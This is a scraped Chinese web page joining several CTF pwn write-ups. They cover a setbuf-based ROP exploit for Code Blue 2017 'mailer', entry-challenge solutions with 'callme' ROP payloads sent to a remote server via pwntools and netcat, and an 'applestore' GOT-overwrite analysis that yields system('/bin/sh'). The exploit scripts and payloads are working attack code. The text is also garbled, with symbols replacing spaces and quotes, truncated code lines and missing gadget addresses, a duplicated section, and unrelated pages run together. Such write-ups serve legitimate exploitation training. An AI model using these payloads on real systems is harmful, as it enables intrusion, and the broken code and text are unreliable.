ctf pwn 题

CTF&PWN&题之&setbuf&的利用
朋友让我一起看了一道32位的pwn题,好像是国外code blue 2017
ctf上的一道题,开始我感觉32位pwn的姿势我应该都会了吧,结果,又学到了新姿势......
题目链接:
https://github.com/Hcamael/CTF_repo/tree/master/CODE BLUE CTF
在拿到这题的时候,看了下是32位的,canary都没开,本以为是很简单的题
在sub_8048ada函数中发现了一个任意函数调用的漏洞,对于filter输入的数值只检测v3&=2,而v3是int型,所以可以任意调用小于0x804b048的函数,但是参数却不能控制,第一个参数是fopen("/dev/null")调用返回的文件流,第二个参数是buf,第三个参数为长度
初次之外就找不到别的漏洞了,在参数无法控制的情况下,只能利用该bin中的本身函数,没有任何getshell的思路
然后在大佬的教导下,我第一次注意到了setbuf函数,大部分pwn题都会有这个函数,用来设置IO缓冲区的,第一个参数是文件流,第二个参数表示缓冲区,一般在pwn题中的用法是setbuf(stdin,
0)表示标准输入取消缓冲区。
仔细观察还会发现,stdin并不是0,而是在stdio库中设置的一个文件流,所以也是作用在stdio库中的函数,比如gets,
puts, fread, fwrite
比如,gets函数使用的就是stdin描述符,如果设置了setbuf(stdin, buf)
,gets函数则会先从buf中获取输入,自己也可以写个简单的代码测试一下
int main(void)
& & char buf[10];
& & memset(buf, 0,
& & buf[0] = '1';
& & printf(buf);
& & setbuf(stdout,
& & printf("test");
& & write(1,
"\n====\n",6);
& & write(1, buf, 10);
然后运行一下
可以从结果看出,printf根本没有输出test,而是把这个字符串输出到buf缓冲区中了,从而修改了buf中的内容。
因为设置的是stdout的缓冲区,而stdout是stdio库中的文件流,所以write并没有受到影响
还有一个问题,setbuf并没有设置长度的参数,设置长度的需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096,这样在该题中就形成了一个攻击链
控制程序跳转到setbuf函数,简单的讲就是调用setbuf(fd=fopen("/dev/null"), buf1)
,然后在sub_8048742(no_filter)函数中调用了fwrite(fd, 0, buf2, len)
,这样就能往buf1中写buf2的数据,而buf是存在栈中的,所以可以造成栈溢出,能栈溢出了,下面就是找ROP链了
栈溢出构造逻辑:
add(rop) -& add(buf1) -& buf(buf2) -& add(buf3) -&
add(buf4) -& setbuf(fd, buf4) -& post(buf1) -& post(rop)
-& 栈溢出,利用ROP链
下面就是研究怎么构造ROP,我的思路是:
利用printf泄露libc地址 -& 算出system,字符串/bin/sh地址 -&
构造出第二个system("/bin/sh")的ROP链 -& 通过fread写入.bss段 -&
利用ROP把栈修改成.bss段 -& 执行第二个ROP system("/bin/sh")
同样也能利用one_gadget,payload下面会放,这里再讨论一个问题
我把栈地址修改成0x804b100,执行system("/bin/sh")是失败的,然后再和大佬的讨论中发现了几种可能,system需要获取系统的环境变量envp,通过看system的源代码,发现有一个全局指针变量_environ指向栈上的envp,如果这个值被覆盖成了一个无效的地址,system则无法执行。但是在该题中,我的第一个rop并不长,所以并没有覆盖掉envp,之后修改了栈地址,也不存在覆盖envp的情况。
然后还有第二种情况,system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,总长度为0x1000,然后我修改的栈地址为0x804b100,所以system可用的栈空间只有0x100,之后我把栈的地址修改成0x804b700后,就能成功执行system("/bin/sh")了
附上payload:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']
def add(p, data):
& & p.readuntil("&
& & p.sendline("1")
& & p.readuntil("contents:
& & p.sendline(data)
def post(p, n, offset):
& & p.readuntil("&
& & p.sendline("3")
& & p.readuntil("ID (0-4):
& & p.sendline(str(n))
& & p.readuntil("&
p.sendline(str(offset))
def quit(p):
& & p.readuntil("&
& & p.sendline("4")
def main():
process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
& & libc =
ELF("./libc.so.6")
ELF("./mailer")
& & # gdb.attach(p)
& & gadget1 = 0x08048dab
& & gadget2 = 0x
& & gadget3 = 0x
& & gadget4 = 0x08048daa
& & gadget5 = 0x08048da9
& & one_gadget_sh =
& & read_buf =
& & stdin_bss =
& & bss_buf =
& & rop1 = "a"*0xd
& & rop1 +=
p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) #
printf(&printf)
& & rop1 += p32(read_buf) +
p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100,
& & rop1 += p32(gadget1) +
p32(bss_buf) + p32(gadget2) + p32(bss_buf)
& & add(p, rop1)
& & add(p, "b"*255)
& & add(p, "c"*255)
& & add(p, "d"*255)
& & add(p, "e"*255)
& & post(p, 4, -15)
& & post(p, 1, 0)
& & post(p, 0, 0)
& & quit(p)
p.readuntil(":)\n")
& & printf_got =
u32(p.read(4))
& & # print
hex(printf_got)
& & system_libc =
libc.symbols["system"]
& & printf_libc =
libc.symbols["printf"]
& & binsh_libc =
libc.search("/bin/sh").next()
& & system_add = printf_got
- printf_libc + system_libc
& & binsh_add =
&printf_got - printf_libc + binsh_libc
& & one_gadget = printf_got
- printf_libc + 0x3a838
& & #rop2 = "aaaa" +
p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf)
+ p32(one_gadget)
& & rop2 = "aaaa" +
p32(system_add) + p32(binsh_add) + p32(binsh_add)
& & p.sendline(rop2)
& & p.interactive()
if __name__ == '__main__':
& & main()
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。未开启cookie无法登录使用i春秋的完整服务,请设置开启浏览器cookie
CTF PWN选手的养成
6课时117分钟
IoT Pwn赛题培训
6课时104分钟
“百度杯”十一月赛题解析
9课时145分钟
从DEFCON CTF决赛到Pwn2Own冠军-论工业界的漏洞之道
1课时58分钟
CTF题目实例分析
1课时40分钟
XCTF总决赛之Pwn题目解析
1课时20分钟
北京五一嘉峪科技有限公司
海淀区中关村软件广场C座
京ICP证150695号
京公网安备37号CTF学习交流群 第一期入群题writeup大放送
CTF学习交流群,由于加群人数已经超过预期,故此第一期3个入群题完成它们的“使命”,现在入群题正在更换中,现放出第一期3个入群题的简单writeup,欢迎讨论交流。
(旧题的链接暂时不撤下)
(地址: http://www.p007.cc:8888/)
这一题也是大家最痛恨的一题,于是我先写下。
访问链接后,表面是空白的,然后查看源代码,发现
如果有经常留意国外ctf的话,会发现这段代码是Hack Dat Kiwi CTF – 2017的MD5 GAMEs 2题目,那场比赛里只有一个队伍做出来,而且是通过发现平台的漏洞而拿到flag的,而且比赛官方给的writeup也是理论性而已,所以这代码的解法暂时没有。
这题的关键也就是everything is p5eud0,这里p5eud0形似英文单词pseudo,也就是一切都是假的。
这里说一切是假的,那么大胆的想象下php代码是假的,或者服务器压根就没解析php代码,于是php代码才原样显示出来,而php后缀名只是一个幌子而已。
这题就连PHPSESSIONID、nginx都是假的
其实是tomcat+jsp,以下是Dockerfile的部分:
#pseudoRUN&sed&-i&'s/jsp/php/'&/usr/local/tomcat/conf/web.xmlRUN&sed&-i&'$i&error-page&&error-code&404&/error-code&&location&/404.php&/location&&/error-page&'&/usr/local/tomcat/conf/web.xmlRUN&sed&-i&'s/port=&8080&/port=&80&&server=&nginx&/'&/usr/local/tomcat/conf/server.xmlRUN&sed&-i&'s/&Context/&Context&sessionCookieName=&PHPSESSIONID&&/'&/usr/local/tomcat/conf/context.xml
本来我是要让人猜出是jsp,但无奈很多信息都没了,就连Wappalyzer也没辨别出来
也就只有一点不太像泄露的php代码,不论GET或者POST提交都会显示那句话。
本来想的一些招数就不用了,直接弄个源码泄露,不然真的会被各位打死的。
我特意建立了一个/.git目录,而里面没有任何东西,当你访问/.git/index和/.git/config都没有的时候,就应该认为没有存在git泄露,相对而言的一个套路是告诉你去github官网找找看。(在这里澄清下,这种去github上找源码的ctf题以前可是有不少的哦。)
然后关键是找哪个账户的github呢?回想下,everything is p5eud0 (这样的名字肯定是我为了题目而建立的用户名)
访问 https://github.com/p5eud0/p5eud0
里面有一个index.jsp(←_←现在相信是jsp代码了吧)
这里/WEB-INF/是tomcat的一个特殊目录,一般而言不能从浏览器直接访问的,可以通过jsp:forwatd跳转来访问。由于是入群题,只要你找到这里,我就基本让你过了,只要提交md5=__pseudocat__就可以看到flag了。
(地址: http://pan.baidu.com/s/1gfL987T )
附件是一个misc.zip,若是直接解压,得到一个i.png,丢入binwalk里
发现末尾有一个zip,zip里有2个文件,第一个文件名为_,第二个文件名为flag.xlsx,而且zip是加密了,在图片里也找不到什么信息,也不是伪加密也不是弱密码。回想上一期的misc吧,当时是把第2图片以NTFS流存储在最开始的rar包,那么这题有木有可能也是用同样的套路呢?
回到最早的misc.zip,使用binwalk,发现了存在2个zip,一个里面包含_,另一个则是我们刚才解压的那个。
当2个zip包叠放在一起的,一些压缩包软件(如winrar)会显示底部那个zip,而另外一些(如360压缩)会显示第一个zip。
这题是要使用zip的明文攻击,而攻击包我都直接给准备了,不需要你们再去压缩了,这次就不会被说需要什么特定的压缩软件了吧。←_←
分别从misc.zip前面和i.png后面把zip包抠出来,然后使用Advanced Archive Password Recovery(APCHPR),推荐4.53版本,
当破解出来的时候,点击“确定”,就可以另存为破解出来的压缩包。至于该文件的口令为32位,这里是破解不了的,但不影响。
打开flag.xlsx是这样的:
这个excel很大,这里可以编程把数值取出来,再绘制图。但还有一个更简单的做法,对excel进行缩放:
图中空白处就是flag
( nc p007.cc 9999& 附件地址:https://pan.baidu.com/s/1o8UO81k)
用IDA打开callme,从main进去
进去pwnme函数,发现可能可以溢出的fgets
再用pwntools的checksec查下,发现没什么保护
再用IDA打开libcallme.so
主要就是callme_one、callme_two、callme_three三个函数,分别是读取encrypted_flag.txt、key1.dat、key2.dat
所以只要溢出,更改ret,依次调用callme三个函数,注意满足函数的第一个参数为1,第二个参数为2,第三个参数为3。
以下分享下群成员天河的payload:
#&-*-&coding:utf8&-*-
__author__='天河'
from&pwn&import&*
context.log_level&=&&debug&
#p=process(&./callme&)
p=remote(&p007.cc&,9999)
payload=&40&*'a'
s=ELF(&./callme&)
addr=0x401ab0
addr2=s.plt['callme_one']
addr3=s.plt['callme_two']
addr4=s.plt['callme_three']
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr2)
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr3)
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr4)
p.sendlineafter(&&&&,payload)
p.recvall()
再分享群成员poyoten的payload:
python&-c&&print&'A'*40+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x50\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x70\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x10\x18\x40'+'\x00'*5&&|&nc&p007.cc&9999
欢迎各位讨论。
欢迎加入CTF学习交流,群号码: ,旧题已下线,新题将在近期更新。
(ps:这群跟chamd5没关系的哦~)
必填(保密)
快来写下你的想法吧!
文章数:24
www.chamd5.org 专注解密MD5、Mysql5、SHA1等
(C) 安全脉搏 沪ICP备号一直以来都在搞逆向,没事破解点小程序,打打CTF。但是CTF上的逆向题也是越来越难了,各种套路让人防不胜防。都说漏洞利用是门艺术,于是就决定来学学pwn。
作为一名初学pwn的新人,在经过一段时间的“闭关”学习后,觉得是时候“出关”了,于是就从pwnable.tw上找来了一道200分的题applestore,由于比较“膨胀”,直接来200的,所以最后……但是pwnable.tw上的题还是不错的,有兴趣可以去尝试一下。
pwnable.tw不上外放高分题目的write up,但是我觉得200分也不算高分,还是可以分享下解题思路的,有什么不足之处欢迎批评指教。
0×01题目解析
这道pwn题给出了程序applestore与libc库文件。
运行程序可知这是个Apple商店,程序类似于一些note类型的题目,有添加、删除、查看、结算等功能。
使用checksec检查程序的执行保护,可见该程序开启了NX(堆栈不可执行)和Stack(也可叫CANNARY,栈溢出保护)。
0×02逆向分析
使用IDA打开程序进行逆向分析,首先来到main函数中。
.text:08048CA6
.text:08048CA7
.text:08048CA9
.text:08048CAC
.text:08048CAF
.text:08048CB7
[esp], 0 ;
.text:08048CBE
.text:08048CC3
[esp], 3 ;
.text:08048CCA
.text:08048CCF
[esp+8], 10 ;
.text:08048CD7
[esp+4], 0 ;
.text:08048CDF
.text:08048CE6
.text:08048CEB
.text:08048CF0
.text:08048CF5
.text:08048CF6
在main函数中,memset函数为全局变量初始化了一块大小为16个字节的空间,地址为0x804B068。
menu函数为显示的菜单,handler函数是程序的主要内容。
0×02逆向分析
使用IDA打开程序进行逆向分析,首先来到main函数中。
.text:08048CA6
.text:08048CA7
.text:08048CA9
.text:08048CAC
.text:08048CAF
.text:08048CB7
[esp], 0 ;
.text:08048CBE
.text:08048CC3
[esp], 3 ;
.text:08048CCA
.text:08048CCF
[esp+8], 10 ;
.text:08048CD7
[esp+4], 0 ;
.text:08048CDF
.text:08048CE6
.text:08048CEB
.text:08048CF0
.text:08048CF5
.text:08048CF6
在main函数中,memset函数为全局变量初始化了一块大小为16个字节的空间,地址为0x804B068。
menu函数为显示的菜单,handler函数是程序的主要内容。
handler函数
接下来看下handler函数
函数中通过my_read()接收输入,my_read函数中主要调用了read函数来接受输入。然后使用atoi()将接收到的字符串转换为整型。atoi这个函数有个特点,就是遇上数字或正负符号才开始做转换,而在遇到非数字或字符串结束时(‘\0′)才结束转换(这是关键),并将结果返回,后面需要利用到这个关键的函数。然后进入一个switch条件判断中,通过对输入进行判断来决定使用那个功能。
switch中分了五个函数和一个return,这五个函数分别为list()、add()、delete()、cart()和checkout()。通过函数名以及在menu函数中显示的主菜单可以了解到这几个函数的功能。
list函数的功能是显示商品列表
add函数的功能是添加商品、delete函数函数的功能是删除商品、cart函数函数的功能是购物车清单、checkout函数函数的功能是结账。下面会详细分析下这几个函数。
看下add函数的内容
add函数和handler函数的结构类似,同样使用my_read函数接收输入,并且用atoi函数做转换,之后进入switch中。
这里面有create()和insert()两个函数,先来看下create函数
char **__cdecl create(int name, char *price)
char **v2;
char **v3;
v2 = malloc(0x10u);
asprintf(v2, "%s", name);
v3[2] = 0;
v3[3] = 0;
return v3;
调用create函数会传入两个参数,一个为商品名称,一个为商品价格。在create函数中,首先用malloc函数申请一块堆空间,大小为0×10,然后会将商品名称的地址和商品价格放入堆空间中的低8位,并将高8位置为0。
此时堆中的结构可以看做数组,这里Device1表示添加的第一个设备
Device1[0] = &name
Device1[1] = price
Device1[2] = 0
Device1[3] = 0
最后返回这块堆空间的首地址并作为参数传入insert函数中。
下面看下insert函数的内容
int __cdecl insert(int a1)
_DWORD *i;
for ( i = &myC i[2]; i = i[2] )
i[2] = a1;
result = a1;
*(a1 + 12) =
insert函数中有个for循环,for循环中首先将全局变量myCart地址赋值给i,然后判断i[2]是否为0,如果i[2]==0,那么跳出循环。如果i[2] != 0,那么会将i[2]赋值给i,继续循环判断,直到i[2] == 0为止。
那么这个i[2]是什么呢?首先先来看下myCart的内容
从图中可以看到,将myCart的16个字节分成的4个块,每块4个字节,若是将myCart看作是个数组,那么可将图中的内容解释为:
myCart[0] == 0
myCart[1] == 0
myCart[2] == 0
myCart[3] == 0
那么上面的i[2]就很好理解了,在初始化i = &myCart时,i[2] == myCart[2] == 0,此时i[2]为0,那么直接跳出循环。
上面说过,insert函数的参数a1是从create函数中得到的堆地址,那么下面就是将这个地址放入i[2]也就是myCart[2]中,然后将i的值放入*(a1+12)中,也就等同于将i的值放入上面所说的Device1[3]中。
到这里,可以看到这里其实相当于一个链表,myCart则为链表的头部。
每个商品的高8位存放着上个商品的起始地址和下个商品的起始地址。第一个商品的last指向链表头(myCart),最后一个商品的next为0。
那么我们来总结下insert函数所做的功能:
insert函数就是判断从myCart开始的每个块的next处是否为0,如果为0,表示当前块处于链表末尾,那么会将新块的首地址放入,并且将当前块的首地址放入新块的last处,目的就是构建成一个“双向链表”。
delete函数
下面看下delete函数的内容
在delete函数中,会通过设备id来删除商品。但是在删除这里,并没用与malloc函数所对应的free函数释放空间,而是通过改变每个商品的next和last,将需要删除的商品从商品链表中“拿掉”。
next = v2[2];
last = v2[3];
if ( last )
*(last + 8) = next;
if ( next )
*(next + 12) = last;
这里就有了可利用之处。(具体如何利用,后面会详细说明)
在cart函数中,通过循环遍历链表,取得商品的价格,输出并且累加。
for ( i = dword_804B070; i = i[2] )
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
循环结束后,将总价返回。
checkout函数
这个函数很有意思
首先会调用cart函数获取商品总价,然后会判断总价是不是7174,如果是,则会以$1的价格购得iPhone 8。
这里会通过insert函数将这个商品添加到商品链表中,按照前面来看,insert的参数是一个堆结构的地址,但是这里并没有申请堆空间,而是以栈空间中的v2作为参数加到前面的商品链表中。
这里就造成了栈空间的泄露。
0×03漏洞分析
通过上面对每个函数的详细分析,可知主要漏洞的就在iphone 8上。
iphone 8商品的结构位于栈上,并且距离ebp并不远。如果能通过栈溢出覆盖iphone 8结构的next和last,那么就可以构造payload来修改ebp,进而通过修改GOT表来获取shell。
说到GOT表,就不得不说说PTL表
在IDA中可以看到这两块区域
其中可以看到第一张图是PTL表,第二张图是GOT表。
我们可以随便找个函数,点进去查看下它的内容
首先找个call atoi的地方,点进去会来到2(这里是PTL表),一个jmp跳转,跟进跳转地址会来到3(这里就是GOT表)。
那么简单的来说,PTL表中存放着与之对应的GOT表,而GOT表中存放着函数的真实地址。而函数的真是地址需要在程序运行中获得。
如果想要详细了解GOT表和PTL表,推荐文章
0×04漏洞利用
上面说了漏洞iphone 8上,那么第一步就是得到iphone 8。所以首先需要添加商品,将总价凑到7174。这里我用的是20个iphone 6和6个iphone 6 plus(总价刚好7174,不要问我怎么得到的,都是泪)
for i in range(6):
for i in range(20):
想要获取shell,就需要执行system("/bin/sh");命令,那么首先就需要获得system函数的真实地址。
这里我们就可以利用上面说到的atoi的特点来泄露函数地址。这里我们来泄露puts函数的真实地址。
首先需要获得puts函数got表的地址,然后构造payload,通过cart函数来泄露puts函数的真实地址。
puts_addr = cart("y\x00" + p32(puts_got) + p32(0)*4)
在这段payload中,开头的“y\x00”占前四字节,为了让程序在判断(y/n)时继续运行下去,后四字节则是puts_got的地址,而这里刚好覆盖了iphone8-&name的地址。最后的四个字节补0是为了覆盖iphone8-&next的地址,使iphone8-&next地址中的内容为0,这样可以保证这次循环之后可以正常退出循环。如果iphone8-&next地址中的内容不为0的话,会再次进行循环,则会导致程序崩溃。(大家在调试的时候可以随便输入点别的,观察内存变化!!!)
在后续打印iphone-&name时,则会打印puts_got地址中的内容,也就是puts函数的真实地址。这样puts函数的真实地址也就被获取到。
可能有人会想利用别的函数来泄露地址,比如read、printf、exit等,这当然是可以的,不一定必须用puts。不过在这里需要注意一点,我们这里泄露地址是通过printf的,printf有个特点,就是在输出字符串的时候,遇到\x00会截断,比如某个函数的真实地址是0xf75ea00,那么printf在读到\x00的时候会截断,导致输出的内容不完整,也就获取不到完整的真实地址。如果遇到类似情况,一定要亲自调试。(我是被坑过的,在这里纠结了好久。。。。)
接下来可以通过libc库来获得puts和system函数的偏移地址
注意:本地调试的话,不要用题目所给的libc库,要用本地的libc库,因为在本地调试中,系统调用会默认使用本地的libc库,而本地的libc库和题目所给的libc库中的函数偏移会有所不同。本地libc库文件一般在根目录下的lib32文件夹中
libc = ELF('/lib32/libc-2.24.so')
puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
有了puts函数的真实地址,有了puts函数的偏移,那么通过计算便可得出基地址,然后通过基地址与system函数的偏移来获得system函数的真实地址。
base_addr = puts_addr - puts_offset
system_addr = base_addr + system_offset
有了system函数的地址,接下来就需要控制ebp了。那么如何获得ebp的地址呢?
经过一番资料搜查,发现了一个环境变量指针environ。这个指针指向的就是栈空间。通过调试来看下这个环境变量指针指向的栈地址与当前ebp有什么关系。
从图中可以明显看到,environ确实处于栈空间上,而且与ebp相差0×104。(这个差值不同程序可能会不同,需要调试)
接下来通过environ的偏移地址计算environ的真实地址,然后通过environ的真实地址使用cart函数来泄露当前栈地址。
environ_offset = libc.symbols["environ"]
environ_addr = base_addr + environ_offset
stack_addr = cart("y\x00" + p32(environ_addr) + p32(0)*3)
有了environ指向的栈地址,减去刚才计算的差值,得到当前ebp的地址。
OK,现在ebp的地址也有了,那么就可以构造payload,通过delete函数来修改ebp。
如何构造这个payload呢?
先来分析下这个payload的内容,这个payload的主要功能是来修改ebp,修改ebp的目的是为的控制栈空间,在这里我们控制栈空间的目的是为了后面修改函数的got地址。我们需要将这个函数的got地址覆盖到ebp上,便于我们后面进行篡改。
修改ebp为函数got表地址的方式就是通过delete中的这段代码实现。
if ( last )
*(last + 8) = next;
//可表示为 iphone-&last + 8 = next
如果将iphone8-&next覆盖为某个函数的got表地址,iphone8-&last覆盖为ebp-8,那么这段代码就可表示为
ebp - 8 + 8 = xxx_got = ebp
这样就成功的将ebp修改为我们想要的got表地址。那么应该修改那个函数的got表呢?
经过一番分析,发现了一个可以利用并且比较方便的函数——atoi(后面会发现它为什么方便)。
在执行完delete函数后,程序会返回到handler函数中,通过IDA来到handler函数中,返回后接着执行的就是my_read函数和atoi函数。如果修改了atoi函数的got表中的内容,那么在执行到atoi函数的时候,就可以通过输入的system地址,劫持程序到system函数中。当然,这里还有个接收输入的关键参数—–nptr,位置在ebp-0x22处。我们需要利用这个参数接收我们输入的system地址以及所用到的参数。
那么这个payload的内容就比较明确了。下面是构造好的一个payload:
payload1 = '27' + p32(atoi_got) + p32(0xAAAAAAAA) + p32(atoi_got + 0x22) + p32(stack_ebp - 8)
这个payload中,开头的’27′即为iphone8的id,后面的内容则是修改了iphone8的结构体。
这里iphone8-&name和iphone8-&price中的数据看似对我们的利用没什么影响,但是在调试过程中发现,这两个值是不能空着不管的,在后面printf的时候会用到iphone8-&name,如果将iphone8-&name改为任意值,那么printf到一个不可读的地方就会崩溃,因此这里将iphone8-&name的值改为了一个可读的地址。而后面iphone8-&price的值虽然没什么影响,但还是不要空着好。
为了让atoi_got配合前面所说的参数nptr,因此这里iphone8-&next的值就改成了atoi_got + 0x22
nptr = ebp - 0x22 = atoi_got + 0x22 - 0x22 = atoi_got
这样nptr的地址就会被改为atoi_got的地址,那么在执行my_read函数接收输入的时候,就会将我们输入的数据写入atoi_got中,达到修改got表的目的。
下面是执行handler函数中的my_read函数前,栈空间的内容。可见,栈空间已经被覆盖成了atoi_got表的地址。
在执行完my_read函数后,可见atoi_got的内容也有原来atoi的真实地址改成了system函数的真实地址。
劫持到了system函数地址,那么再配合参数/bin/sh,那么最后执行的命令就是system("/bin/sh");
p.send(p32(system_addr) + ';/bin/sh\x00')
最终运行exp,获取shell
通过这道题,学到了很多,比如对堆和栈的理解、对read和atoi函数的利用、如何泄露函数的真实地址、如何篡改GOT表以及解决遇到的各种坑。。。。。。学习的过程虽然艰辛,但是pwn题真的很有意思,当你找到漏洞、绕过各种防护、最后拿到shell的时候,还是很激动的。
这里就不放exp了,感兴趣的朋友可以参考我的解题思路进行分析调试,一定能写出更完美的exp。
最后分享一个链接,
*本文作者:野火研习社1,转载请注明FreeBuf.COM
下一篇: 本篇已是最新文章
已有 3 条评论
湖湘杯pwn400的wp
做pwn题时的一些调试技巧
绿盟杯NSCTF(CCTF)2017 pwn writeup
pwn题解第一道
一道ctf pwn 的思路以及解法
pwnable.kr - passcode
Pwnable之[Toddler's Bottle](三)--memcpy
Linux下pwn从入门到放弃
服务器中PWN题的简单搭建
没有更多推荐了,

我要回帖

更多关于 ctfpwn靶机 的文章

 

随机推荐